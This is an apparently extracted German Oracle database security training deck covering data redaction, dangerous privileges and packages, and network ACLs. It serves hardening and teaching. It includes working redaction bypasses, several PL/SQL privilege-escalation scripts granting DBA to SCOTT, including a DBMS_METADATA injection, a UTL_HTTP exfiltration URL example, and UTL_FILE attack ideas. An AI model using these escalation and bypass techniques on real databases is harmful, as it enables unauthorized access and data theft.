CUST_NAME CARD_ID
--------- -------------------Marco
XXXXX-XXXX-XXXX-1234
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 26
Stichwörter: DBMS_REDACT; Beispiel
Security I 1 - 26
DBMS_REDACT Beispiel (f)
BEGIN
DBMS_REDACT.ADD_POLICY(
object_schema => 'SCOTT',
object_name
=> 'KREDIT_CARD',
column_name
=> 'CARD_ID',
policy_name
=> 'MASK_CARD_ID',
expression
=> '1=1',
function_type => DBMS_REDACT.REGEXP,
regexp_pattern => '(\d\d\d\d)-(\d\d\d\d)-(\d\d\d\d)(\d\d\d\d)',
regexp_replace_string => 'XXXXX-XXXX-XXXX-\4');
END;
/
Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-XXXX-1234
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 27
BEGIN
DBMS_REDACT.ADD_POLICY(
object_schema => 'SCOTT',
object_name
=> 'KREDIT_CARD',
column_name
=> 'CARD_ID',
policy_name
=> 'MASK_CARD_ID',
expression
=> '1=1',
function_type => DBMS_REDACT.REGEXP,
regexp_pattern => '([[:digit:]]{4})-([[:digit:]]{4})([[:digit:]]{4})-([[:digit:]]{4}) ',
regexp_replace_string => 'XXXX-XXXX-\3',
regexp_position
=> 1,
regexp_occurrence
=> 0,
regexp_match_parameter => 'in');
END;
/
Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-1234
Stichwörter: DBMS_REDACT; Beispiel
Security I 1 - 27
Probleme mit DBMS_REDACT
Sie können sowohl in der WHERE wie auch in der
HAVING Bedingung nach geschützten Werten fragen
SELECT * FROM scott.credit_card
WHERE card_id='1234-1234-1234-1234';
CUST_NAME
---------Marco
CARD_ID
------------------XXXX-XXXX-XXXX-1234
Die verschleierten Werte spiegeln sich auch in (Gruppen)
Funktionen wider.
Zufallswerte (RANDOM) können sehr verwirrend wirken.
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 28
Bei installierter Multi-Media Option geht auch:
select * from scott.credit_card where
1=ordsys.ord_dicom.getmappingxpath((card_id),user,user);
ERROR at line 1:
ORA-53044: invalid tag: 1234-1234-1234-1234
ORA-06512: at "ORDSYS.ORDERROR", line 5
Security I 1 - 28
Security Bug in 12.1.0.1
Leider hat Oracle vergessen die Returning Klausel beim
Update in die Redaction einzubeziehen. Bug wurde in
12.1.0.2 gefixt ! (9.9.2014)
DECLARE
S VARCHAR2(100);
BEGIN
UPDATE credit_card SET cust_name=cust_name
WHERE cust_name='Marco'
RETURNING card_id INTO s;
dbms_output.put_line(s);
END;
=>1234-1234-1234-4444
MuniQSoft GmbH
Kapitel 1 - Verschlüsselung
Security I 1 - 29
Security I 1 - 29
Kapitel 2
Rechte & Rollen
Security I 2 - 1
Einleitung
Oracle´s Rechte und Rollenverwaltung ist schwer zu
überblicken
über 36.000 Rechte in 12.1 sind allein an Public vergeben
(davon ca. 30.000 Java Rechte)
Rechte können nicht nur direkt, sondern auch indirekt
vergeben werden
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter:
Security I 2 - 2
Security I 2 - 2
Einleitung (f)
Durch die stetige Erweiterung der Rechte und
Rollenverwaltung werden immer neue Sicherheitslücken
aufgerissen.
Viele Benutzer sind sich nicht im Klaren, welche
Auswirkung diverse Rechte haben
Besondere Vorsicht ist angebracht bei Rechten, die an
Public vergeben wurden, bzw. Rechte mit dem ANYPrivileg
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 3
UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf JEDEM Tablespace
beliebig viel Platz verwenden darf. Dieses Recht ist bei der Rolle RESOURCE und
DBA dabei!
Die RESOURCE Rolle sollte deshalb nicht mehr benutzt werden. Sie können eine
eigene Ressource Rolle definieren, die ohne UNLIMITED TABLESPACE angelegt
wird.
Die DBA Rolle sollte nur an ausgewählte Benutzer vergeben werden. Entwickler
sollten ggf. eine eigens definierte Rolle mit den gewünschten Rechten bekommen.
Stichwörter:
Security I 2 - 3
Rechte bei Rollen
Achten Sie bei der Vergabe von Rechten auf
folgende Punkte
UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf
JEDEM Tablespace beliebig viel Platz verwenden darf.
Dieses Recht ist bei der Rolle RESOURCE (bis 11.2) und DBA
dabei!
Die RESOURCE Rolle sollte nicht mehr benutzt werden
Definieren Sie sich eine eigene Rolle mit folgenden Rechten:
CREATE TYPE
evtl. CREATE OPERATOR
CREATE TABLE
evtl. CREATE CLUSTER
CREATE SEQUENCE
evtl. CREATE TRIGGER
CREATE INDEXTYPE evtl. CREATE PROCEDURE
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechte bei Rollen, UNLIMITED TABLESPACE, RESOURCE
Security I 2 - 4
Security I 2 - 4
Rechte mit ANY
Alle Privilegien mit einem ANY im Namen können auf
jedem Schema angewendet werden z. B.:
DROP ANY TABLE
SELECT ANY TABLE
GRANT ANY PRIVILEGE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
Vergeben Sie diese Rechte nur mit äußerster Vorsicht
MuniQSoft GmbH
ALTER ANY CLUSTER
ALTER ANY DIMENSION
ALTER ANY INDEX
ALTER ANY INDEXTYPE
ALTER ANY LIBRARY
ALTER ANY OUTLINE
ALTER ANY PROCEDURE
ALTER ANY ROLE
ALTER ANY SEQUENCE
ALTER ANY SNAPSHOT
ALTER ANY TABLE
ALTER ANY TRIGGER
ALTER ANY TYPE
ANALYZE ANY
AUDIT ANY
BACKUP ANY TABLE
COMMENT ANY TABLE
CREATE ANY CLUSTER
CREATE ANY CONTEXT
CREATE ANY DIMENSION
CREATE ANY DIRECTORY
CREATE ANY INDEX
CREATE ANY INDEXTYPE
CREATE ANY LIBRARY
Kapitel 2 - Rechte & Rollen
CREATE ANY OPERATOR
CREATE ANY OUTLINE
CREATE ANY PROCEDURE
CREATE ANY SEQUENCE
CREATE ANY SNAPSHOT
CREATE ANY SYNONYM
CREATE ANY TABLE
CREATE ANY TRIGGER
CREATE ANY TYPE
CREATE ANY VIEW
DELETE ANY TABLE
DEQUEUE ANY QUEUE
DROP ANY CLUSTER
DROP ANY CONTEXT
DROP ANY DIMENSION
DROP ANY DIRECTORY
DROP ANY INDEX
DROP ANY INDEXTYPE
DROP ANY LIBRARY
DROP ANY OPERATOR
DROP ANY OUTLINE
DROP ANY PROCEDURE
DROP ANY ROLE
DROP ANY SEQUENCE
Security I 2 - 5
DROP ANY SNAPSHOT
DROP ANY SYNONYM
DROP ANY TABLE
DROP ANY TRIGGER
DROP ANY TYPE
DROP ANY VIEW
ENQUEUE ANY QUEUE
EXECUTE ANY INDEXTYPE
EXECUTE ANY LIBRARY
EXECUTE ANY OPERATOR
EXECUTE ANY PROCEDURE
EXECUTE ANY TYPE
EXTENDS ANY TYPE
FORCE ANY TRANSACTION
GRANT ANY PRIVILEGE
GRANT ANY ROLE
INSERT ANY TABLE
LOCK ANY TABLE
MANAGE ANY QUEUE
SELECT ANY SEQUENCE
SELECT ANY TABLE
UPDATE ANY TABLE
Mittels des ALTER SESSION Rechts ist es möglich, Trace-Dateien zu erzeugen, in denen dann sensible Daten
stehen können. So könnte man z. B. die sensiblen Daten eines Benutzers in einer Trace-Datei finden.
Entweder entziehen Sie den Benutzern dieses Recht, oder Sie schützen das User Dump Verzeichnis (meist
<ORACLE_HOME> /admin/<sid>/udump) weil die Trace-Dateien dorthin abgelegt werden.
Der undokumentierte Parameter _TRACE_FILES_PUBLIC sollte nicht auf TRUE gesetzt sein, weil sonst die
Trace-Dateien leichter von fremden Benutzern gelesen werden können
Stichwörter:Rechte, ANY
Security I 2 - 5
Gefährliche Rechte
System-Recht
Beschreibung
ALTER USER
Mit diesem Recht können die Passwörter von anderen Benutzen geändert werden
(auch SYS!)
Dieses Recht ist nur in der DBA-Rolle vorhanden
ALTER SESSION
Damit können Parameter für die Session manipuliert werden (z.B. sort_area_size)
oder
ALTER SESSION SET current_schema=SYS;
Damit kann man einfacher auf SYS-Objekte zugreifen (wenn man die Leserechte
daran besitzt)
CREATE LIBRARY
Mit diesem Recht können Sie Bibliotheken z.B. basierend auf Windows C-Dll´s
erstellen
Dieses Recht ist nur in der DBA-Rolle vorhanden
CREATE ANY
DIRECTORY
Damit kann ein Verzeichnis angelegt werden, in das man dann Daten schreibt
(External Tables (10g), Datapump (10g)
Ab Version 9.2 benutzt auch utl_file Directories
Dieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthalten
Achtung hiermit könnten z.B. Datendateien/Redologdateien oder Controldateien
überschrieben werden
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 6
Beispiel zur Library
Zuerst muss der Listener angepasst werden
(SID_DESC =
(SID_NAME = PLSExtProc)
(ORACLE_HOME = d:\oracle\ora102)
(PROGRAM = extproc)
(ENVS="EXTPROC_DLLS=ANY")
)
Für Testzwecke kann die flexiblere aber unsichere Einstellung verwendet werden:
•
(ENVS="EXTPROC_DLLS=ANY")
Aus Sicherheitsgründen sollte aber nur ein Verzeichnis/DLL angegeben werden
•
(ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\pcporacle.dll")
bzw. zwei
•
(ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\myoracle.dll:c:\work\myin
house.dll")
Danach wird die TNSNAMES.ORA editiert
EXTPROC_CONNECTION_DATA =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))
)
(CONNECT_DATA =
(SID = PLSExtProc)
(PRESENTATION = RO)
)
)
Es muss eine sogenannte Library erzeugt werden, in der dann die DLL liegt:
•
CREATE LIBRARY ExternProcedures AS
'c:\winnt\system32\projekt1.dll';
/
Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY
Security I 2 - 6
Gefährliche Rechte
System-Recht
Beschreibung
CREATE USER
Anlegen eines Benutzers mit DBA Rechten
Dieses Recht ist in der DBA-Rolle enthalten
BECOME USER
Hiermit können Sie die Objekte eines fremden Benutzers beim Import in Ihr
Schema einspielen
Dieses Recht ist in der DBA und IMP_FULL_DATABASE Rolle enthalten
CREATE JOB
Dieses Recht gestattet die Ausführung von Jobs zu einer beliebigen Tageszeit
Dieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthalten
Ab Version 10g gibt es noch ein Zusatzrecht (MANAGE SCHEDULE) mit dem der
Zeitplan eingestellt werden kann
CREATE
EXTERNAL JOB
Ausführen eines externen Jobs (z.B. mkdir, rm, del, …)
CREATE
DATABASE LINK
Ist in der DBA Rolle enthalten und ermöglicht die Verbindung zu einer Remote
Datenbank
Passwörter der DB Links sind schlecht verschlüsselt!!!
EXECUTE ANY
PROCEDURE
Beliebige Prozeduren von fremden Benutzern ausführbar wie z.B.:
exec dbms_repcat_admin.grant_admin_any_schema( 'OUTLN'); /* Vergibt DBA
Rechte an OUTLN*/ exec utl_file, utl_smtp, utl_mail , ....
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 7
Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY, CREATE DATABASE LINK,
EXECUTE ANY PROCEDURE
Security I 2 - 7
Gefährliche Rechte
System-Recht
Beschreibung
SELECT ANY DICTIONARY
Damit können Tabellen aus den Data Dictionary angesehen werden
Dieses Recht kann jedoch nicht über den GRANT ALL PRIVILEGES
Befehl vergeben werden
EXEMPT ACCESS POLICY
Damit können die Policies des dbms_fga Package umgangen werden
SELECT ANY
TRANSACTION
Erlaubt das Zurücksetzen einer Transaktion mittels Flashback.
Vor Version 10g war der Name FLASHBACK ANY TRANSACTION.
FLASHBACK ANY TABLE
Erlaubt das Zurücksetzen einer Tabelle auf einen alten Stand mittels
Flashback, ohne dass ein Backup eingespielt werden muss
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter:Gefährliche Rechte, GRANT ANY PRIVILEGE, GRANT ANY PRIVILEGE
Security I 2 - 8
Security I 2 - 8
Privilegien-Eskalation
Vorhandene Rechte: EXECUTE ANY PROCEDURE +
CREATE ANY PROCEDURE
CREATE OR REPLACE PROCEDURE system.getdba AS
BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';
END;
EXEC SYSTEM.getdba;
SET Role dba;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 9
Security I 2 - 9
Privilegien-Eskalation (f)
Vorhandene Rechte: CREATE ANY TRIGGER
GRANT EXECUTE on getdba TO system;
CREATE OR REPLACE TRIGGER system.ol$itr
BEFORE INSERT ON system.ol$ FOR EACH ROW
BEGIN
scott.getdba;
END;
INSERT INTO system.ol$(category)
VALUES ('X');
SET Role dba;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 10
Security I 2 - 10
Privilegien-Eskalation (ff)
Vorhandene Rechte: CREATE ANY INDEX und CREATE
PROCEDURE
CREATE OR REPLACE FUNCTION scott.getdba(
x CHAR) RETURN varchar2 deterministic
authid current_user AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';
RETURN upper(x);
END;
GRANT execute on getdba to system;
CREATE INDEX system.ol$inddba ON
system.ol$(scott.getdba(version)); --FBI
INSERT INTO system.ol$(version) values ('x');
SET Role dba;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 11
Security I 2 - 11
Privilegien-Eskalation (ff)
Vorhandene Rechte: ANALYZE ANY
CREATE OR REPLACE FUNCTION getdba (x char)
return char deterministic
AUTHID current_user IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';
RETURN upper(x);
END;
BEGIN dbms_stats.gather_table_stats('SYSTEM','HELP',
method_opt=>'for columns (scott.getdba(info)) size
auto'));
END;
SET ROLE DBA
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 12
Security I 2 - 12
ADMIN OPTION
Sie können bei Rechten auch immer angeben, dass
dieses Recht auch weiter gegeben werden kann
Bei System-Rechten:
GRANT SELECT ANY TABLE TO scott
WITH ADMIN OPTION;
Bei Objekt-Rechten
GRANT SELECT ON emp TO scott
WITH GRANT OPTION;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter:ADMIN OPTION
Security I 2 - 13
Security I 2 - 13
Public Rechte (ff)
Der Benutzer PUBLIC sollte über möglichst wenig Rechte
verfügen, da ein Hacker der einen beliebigen Account geknackt
hat, dann diese Rechte bekommt
Vergeben Sie nicht die Rolle RESOURCE an PUBLIC, da sie bis
11.2.0.4 über das Recht UNLIMITED_TABLESPACE verfügt!
Mit folgendem SELECT wird geprüft, welche System-Rechte an
Public vergeben wurden:
SELECT * FROM dba_sys_privs
WHERE grantee = 'PUBLIC';
Objektrechte an Public vergeben:
SELECT * FROM dba_tab_privs
WHERE grantee = 'PUBLIC';
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 14
Eigentlich gibt es keinen Benutzer Public, denn ein Anmelden an der Datenbank unter
diesem Namen scheitert. Jedoch wird er innerhalb wie ein virtueller Benutzer gehandhabt, da
er der Empfänger von Rechten sein kann. Rechte, die an Public vergeben worden sind,
bekommen alle Benutzer beim Anmelden. Deshalb sollte er über möglichst wenig Rechte
verfügen, da ein Hacker, der einen beliebigen Account geknackt hat, dann diese Rechte auch
bekommt.
SQL> GRANT RESOURCE TO public;
Benutzerzugriff (Grant) wurde erteilt.
SQL> SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC';
GRANTEE
PRIVILEGE
ADM
-------------------------------------------------PUBLIC
UNLIMITED TABLESPACE
NO
Hier wird geprüft, welche Rollen an Public vergeben worden sind:
SQL> SELECT * FROM dba_role_privs WHERE grantee = 'PUBLIC';
GRANTE
GRANTED_ROLE ADM
DEF
--------------- --------------------------------------PUBLIC
RESOURCE
NO
YES
SQL> SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC';
GRANTEE OWNER TABLE_NAME
GRANTOR
------------------------ -------------------------------------------------PUBLIC SYS
USER_PART_TABLES
SYS
PUBLIC SYS
ALL_PART_TABLES
SYS
PUBLIC SYS
USER_PART_INDEXES
SYS
…
Rechte von Public werden mittels Revoke entzogen, Beispiel: REVOKE CONNECT FROM
public;
Stichwörter: Rechte
Security I 2 - 14
PUBLIC Rechte entziehen
REVOKE EXECUTE ON utl_smtp FROM public;
REVOKE EXECUTE ON utl_file FROM public;
REVOKE EXECUTE ON utl_http FROM public;
REVOKE EXECUTE ON utl_tcp FROM public;
REVOKE EXECUTE ON dbms_random FROM public;
REVOKE EXECUTE ON dbms_metadata FROM public;
REVOKE EXECUTE ON dbms_mail FROM public;
Dafür Rechte explizit an die Benutzer:
GRANT EXECUTE ON dbms_mail to SCOTT; …
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 15
Allgemeine Syntax:
Rechte werden entzogen mittels:
• REVOKE EXECUTE ON <package> FROM public;
Vergeben wieder mittels:
• GRANT EXECUTE ON <package> TO public;
Alternativ können die Rechte in einer neuen Rolle gebündelt werden, die dann im
Notfall einem Benutzer zugewiesen wird:
CREATE ROLE DBA_DBMS_PACK;
GRANT EXECUTE ON UTL_FILE TO DBA_DBMS_PACK;
GRANT EXECUTE ON UTL_TCP TO DBA_DBMS_PACK;
Stichwörter: PUBLIC Rechte entziehen
Security I 2 - 15
Gefährliche Packages
DBMS_XMLSTORE
Ermöglicht das Eintragen von Zeilen in andere Tabellen
So könnte man sich zusätzliche Rechte geben, durch
Manipulation der sys.sysauth$ Tabelle
Lösung
EXECUTE Rechte von Public entziehen und ggf. einer
Rolle oder einem Benutzer direkt geben
REVOKE EXECUTE ON dbms_xmlstore FROM PUBLIC;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 16
Security I 2 - 16
Gefährliche Packages
UTL_HTTP
Damit können Webseiten angefordert und empfangen
werden.
Sie können natürlich auch mittels CGI-Parameter Werte an
eine Webseite übermitteln
http://www.muniqsoft.de?para1=Geheime_Nachrich
t_aus_der_oracle_db_passwort_sys_erzuezru
Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff
auf andere Server
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 17
Beispiel:
declare
t_result
varchar2(4000);
begin
t_result := utl_http.request('http://www.muniqsoft.de');
end;
/
REM oder mit einer PL/SQL Tabelle in der die Zeilen gespeichert werden
declare
t_part
utl_http.html_pieces;
begin
t_part := utl_http.request_lines('http://www.muniqsoft.de/index.html');
for i in 1 .. t_part.count loop
-- proces t_part(i);
end loop;
end;
/
Stichwörter: Gefährliche Packages, UTL_HTTP
Security I 2 - 17
Gefährliche Packages
UTL_TCP
Daten können via TCP gesendet oder empfangen werden
(siehe Beispiel)
Testen wer welche Rechte auf dem Package besitzt:
SELECT * FROM dba_tab_privs WHERE
table_name='UTL_TCP';
Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff
auf andere Server
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 18
Beispiel:
CREATE OR REPLACE PROCEDURE SEND_MAIL_TCP (
msg_from
VARCHAR2 := '[email protected]'
, msg_to
VARCHAR
, msg_subject VARCHAR2 := 'Nachrichtenüberschrift'
, msg_text
VARCHAR2 := ''
)
IS
c
UTL_TCP.CONNECTION;
rc INTEGER;
BEGIN
c := UTL_TCP.OPEN_CONNECTION('localhost', 25);-- SMTP Port (lokal öffnen)
rc := UTL_TCP.WRITE_LINE(c, 'HELO localhost');
rc := UTL_TCP.WRITE_LINE(c, 'MAIL FROM: '||msg_from);
rc := UTL_TCP.WRITE_LINE(c, 'RCPT TO: '||msg_to);
rc := UTL_TCP.WRITE_LINE(c, 'DATA');
-- Start message body
rc := UTL_TCP.WRITE_LINE(c, 'Subject: '||msg_subject);
rc := UTL_TCP.WRITE_LINE(c, '');
rc := UTL_TCP.WRITE_LINE(c, msg_text);
rc := UTL_TCP.WRITE_LINE(c, '.');
-- End of message body
rc := UTL_TCP.WRITE_LINE(c, 'QUIT');
UTL_TCP.CLOSE_CONNECTION(c);
-- Close the connection
EXCEPTION
WHEN others THEN
RAISE_APPLICATION_ERROR(-20000, 'Nachricht konnte nicht versendet
werden');
END;
/
show errors
EXEC SEND_MAIL_TCP ( msg_to => '[email protected]'
, msg_text => 'Das ist eine Email via utl_tcp');
Stichwörter:Gefährliche Packages, UTL_TCP
Security I 2 - 18
Gefährliche Packages
UTL_SMTP
Mit diesem Package können z.B. Emails verschickt werden
(siehe Beispiel)
Ab der Version 10g wird die Versendung von emails weiter
vereinfacht mittels des Packages dbms_mail
Hinweis: Ab 11g verhindert eine Firewall eine Portzugriff
auf andere Server
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 19
Beispiel:
DECLARE
v_sender VARCHAR2(2000) := '[email protected]';
v_rec
VARCHAR2(2000) := '[email protected]';
v_host
VARCHAR2(2000) := '10.12.0.16';
v_con
UTL_SMTP.connection;
crlf VARCHAR2(2) := chr(13)||chr(10);
BEGIN
dbms_output.put_line('Starte Emailversand an:'||v_rec);
v_con := UTL_SMTP.open_connection(v_host, 25);
UTL_SMTP.helo(v_con, v_host);
UTL_SMTP.mail(v_con, v_sender);
UTL_SMTP.rcpt(v_con, v_rec);
UTL_SMTP.open_data(v_con);
UTL_SMTP.write_data(v_con,'To:
'||v_rec||'<'||v_rec||'>'||crlf);
UTL_SMTP.write_data(v_con,'Subject: Hallo Welt'||crlf);
UTL_SMTP.write_data(v_con,'Zeile1'||crlf);
UTL_SMTP.write_data(v_con,'Zeile2'||crlf);
UTL_SMTP.close_data(v_con);
UTL_SMTP.quit(v_con);
dbms_output.put_line('Emailversand abgeschlossen');
EXCEPTION
WHEN others THEN
UTL_SMTP.quit(v_con);
DBMS_OUTPUT.put_line(sqlerrm) ;
END;
/
Stichwörter: Gefährliche Packages, UTL_SMTP
Security I 2 - 19
Gefährliche Packages
UTL_FILE
Dieses Package ermöglicht den lesenden oder schreibenden
Zugriff auf Dateien im Betriebssystem
Beispiel:
CREATE OR REPLACE DIRECTORY temp AS 'C:\TEMP';
EXEC UTL_FILE.FREMOVE('TEMP', '<datei>')
Gefahr ist hier groß, da ein EXECUTE RECHT an PUBLIC existiert
Auf keinen Fall den Parameter utl_file_dir auf '*' setzen
Mögliche Angriffe:
Lesen der Passwort-Datei
Erzeugen/ergänzen der autoexec.bat Datei unter Windows
Erzeugen/ergänzen der .rhost Datei unter Unix
Überschreiben von Log-. Daten-, oder Controldateien
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Gefährlihe Packages UTL_FILE
Security I 2 - 20
Security I 2 - 20
Gefährliche Packages
DBMS_METADATA
Dieses Package wird für Reverse Engineering Zwecke
verwendet. Es kann CREATE TABLE oder CREATE INDEX
Befehle für die bestehenden Objekte erzeugen
Leider hat es einen Bug, mit dem ein Angreifer DBA
Rechte erlangen kann
Gefahr ist hier hoch da die EXECUTE Rechte an Public
vergeben worden sind
SELECT * FROM dba_tab_privs
WHERE grantee = 'PUBLIC' and
table_name='DBMS_METADATA';
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 21
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return
varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN '';
END;
/
SELECT SYS.DBMS_METADATA.GET_DDL(
'''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
Stichwörter: Gefährliche Packages, DBMS_METADATA
Security I 2 - 21
Ports sperren/freigeben (ab 11g)
Wenn über die folgenden Packages kommuniziert wird,
besteht immer das Risiko, dass Daten aus der DB
gestohlen werden
UTL_SMTP
UTL_HTTP
UTL_TCP
Ab 11g lassen sich nun diverse Ports sperren bzw.
freigeben
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 22
Security I 2 - 22
Ports sperren/freigeben (ab 11g)
Neue Direktive mit Namen utl_sec_pkg.xml erzeugen
begin
dbms_network_acl_admin.create_acl (
acl
=> 'utl_sec_pkg.xml',
description
=> 'Normal Access',
principal
=> 'CONNECT',
is_grant
=> TRUE,
privilege
=> 'connect',
start_date
=> null,
end_date
=> null );
end;
/
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 23
Security I 2 - 23
Ports sperren/freigeben (ab 11g)
Benutzer Scott in die Direktive eintragen
begin
dbms_network_acl_admin.add_privilege (
acl
=> 'utl_sec_pkg.xml',
principal
=> 'SCOTT',
is_grant
=> TRUE,
privilege
=> 'connect',
start_date
=> null,
end_date
=> null);
end;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 24
Security I 2 - 24
Ports sperren/freigeben (ab 11g)
Ports von 22 bis 55 freigeben
begin
dbms_network_acl_admin.assign_acl (
acl
=> 'utlpkg.xml',
host
=> 'www.muniqsoft.de',
lower_port
=> 22, upper_port => 55);
end;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 25
Security I 2 - 25
Ports sperren/freigeben (ab 11g)
Test:
SELECT
utl_http.request('http://www.muniqsoft.de')
FROM dual;
* ERROR at line 1: ORA-29273: HTTP request
failed ORA-06512: at "SYS.UTL_HTTP", line
1577 ORA-24247: network access denied by
access control list (ACL) ORA-06512: at line
1
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 26
Security I 2 - 26
Fine Grain Access ab 12c
Bisher wurden ACLs für die Freigabe der Benutzung von
fremden Servern/Ports verwendet.
Neue Packageaufrufe vereinfachen diese Aufgabe nun.
Folgende neue Views stehen zur Verfügung
DBA_HOST_ACLS
USER_HOST_ACES und DBA_HOST_ACES
Übliche Fehlermeldung, wenn ACLs nicht gesetzt sind
ORA-29273: HTTP-Anforderung nicht erfolgreich
ORA-06512: in "SYS.UTL_HTTP", Zeile 1817
ORA-24247: Netzwerkzugriff von Access Control-Liste
(ACL) abgelehnt
ORA-06512: in "SYS.HTTPURITYPE", Zeile 41
MuniQSoft GmbH
Kapitel 4 - Security
Alte DBMS_NETWORK_ACL_ADMIN Prozedur
Ora12c 4-27
Neue entsprechende Proceduren
CREATE_ACL
ADD_PRIVILEGE
ASSIGN_ACL
ASSIGN_WALLET_ACL
APPEND_HOST_ACE
APPEND_WALLET_ACE
N/A
N/A
APPEND_HOST_ACL
APPEND_WALLET_ACL
REMOVE_HOST_ACE
REMOVE_WALLET_ACE
DELETE_PRIVILEGE
DROP_ACL
UNASSIGN_ACL
UNASSIGN_WALLET_ACL
CHECK_PRIVILEGE
CHECK_PRIVILEGE_ACLID
N/A
N/A
Keine vorhanden
Keine vorhanden
SET_HOST_ACL
SET_WALLET_ACL
Stichwörter: ACL
Security I 2 - 27
DBMS_NETWORK_ACL_ADMIN ab 12c
Prozedurname
Funktion
APPEND_HOST_ACE
Neuen Host zur Freigabeliste hinzufügen
APPEND_WALLET_ACE
Walletbenutzung freigeben
REMOVE_HOST_ACE
Host von Freigabeliste entfernen
REMOVE_WALLET_ACE
Freigabe für Walletbenutzung zurücknehmen
SET_HOST_ACL
Neue Portfreigabe für Host und Ports definieren.
Sollten vom Benutzer nicht manuell gesetzt werden
SET_WALLET_ACL
Einsetzen der ACL für ein Wallet.
Sollten vom Benutzer nicht manuell gesetzt werden
MuniQSoft GmbH
Kapitel 4 - Security
Ora12c 4-28
Hinweis:
Manuelles Hinzufügen von Portfreigaben zu einer existierenden ACL:
SELECT host,acl FROM DBA_HOST_ACLS;
=> www.muniqsoft.de NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F
BEGIN
DBMS_NETWORK_ACL_ADMIN.SET_HOST_ACL (
host=>'www.muniqsoft.de',
lower_port=>81,
upper_port=>null,
acl=>'NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F');
END;
Stichwörter: ACL
Security I 2 - 28
Beispiel zu APPEND_HOST_ACE (12c)
BEGIN
DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE(
host
=> 'www.muniqsoft.de',
lower_port => 80, -- Portnummer
upper_port => NULL,
ace
=> xs$ace_type(
privilege_list => xs$name_list('http'),
principal_name => 'SCOTT',
principal_type => xs_acl.ptype_db));
END;
Hinweis:
Wenn upper_port=NULL gilt lower_port=upper_port
MuniQSoft GmbH
Kapitel 4 - Security
Ora12c 4-29
Syntax
DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL (
host
IN VARCHAR2,
lower_port IN PLS_INTEGER DEFAULT NULL,
upper_port IN PLS_INTEGER DEFAULT NULL,
acl
IN VARCHAR2);
Stichwörter: ACE
Security I 2 - 29
Parameter zu APPEND_HOST_ACE (12c)
Privilege List kann sein
'smtp' Zugriff nur via UTL_SMTP und UTL_MAIL
'http' Zugriff via UTL_HTTP Package und HttpUriType
'http_proxy' Zugriff via UTL_HTTP Package und HttpUriType wenn über
einen Proxy kommuniziert wird
'connect' Zugriff via UTL_TCP, UTL_SMTP, UTL_MAIL, UTL_HTTP, und
DBMS_LDAP Packages, der dem Typ HttpUriType
Principal Name kann sein
Ein Datenbankbenutzer (z.B. SCOTT)
Eine Rolle (z.B. MY_APP_ROLE)
Principal Type kann sein
XS_ACL.PTYPE_DB für Datenbankbenutzer/Rolle
XS_ACL.PTYPE_XS Für Real Application Security Benutzer
MuniQSoft GmbH
Kapitel 4 - Security
Ora12c 4-30
Stichwörter: ACE
Security I 2 - 30
Beispiel zu REMOVE_HOST_ACE (12c)
BEGIN
